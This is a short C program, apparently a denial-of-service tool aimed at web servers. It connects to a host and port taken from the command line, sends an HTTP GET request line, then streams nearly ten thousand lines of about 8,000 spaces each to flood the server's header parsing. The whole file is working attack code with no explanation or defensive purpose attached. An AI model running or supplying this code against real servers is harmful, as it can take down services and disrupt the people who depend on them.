#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h> 

int main(int argc, char *argv[])
{

    int sockfd, portno, i;
    struct sockaddr_in serv_addr;
    struct hostent *server;

    char space[8000];
    memset(space, ' ', 8000);
    space[7998]='\n';
    space[7999]='\0';
    char buff[256];

    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    server = gethostbyname(argv[1]);
    portno = atoi(argv[2]);

    bzero((char *) &serv_addr, sizeof(serv_addr));
    serv_addr.sin_family = AF_INET;
    bcopy((char *)server->h_addr, 
    (char *)&serv_addr.sin_addr.s_addr,
        server->h_length);
        serv_addr.sin_port = htons(portno);
    if (connect(sockfd,(struct sockaddr *)&serv_addr,sizeof(serv_addr)) < 0)
    {
        printf("ERROR connecting");
        return -1;
    }
    sprintf(buff, "GET / HTTP/1.0\n");
    int len=strlen(buff);

    if((send(sockfd,buff,len,0)) < 0)
    {
        printf ("send error");
        return -1;
    }

    for(i=0;i<9999;i++)
    {

        if((send(sockfd,space,strlen(space),0)) < 0)
        {
                printf("Send Error on header number %d\n", i);
                return -1;
        }

    }
    return 0;
}
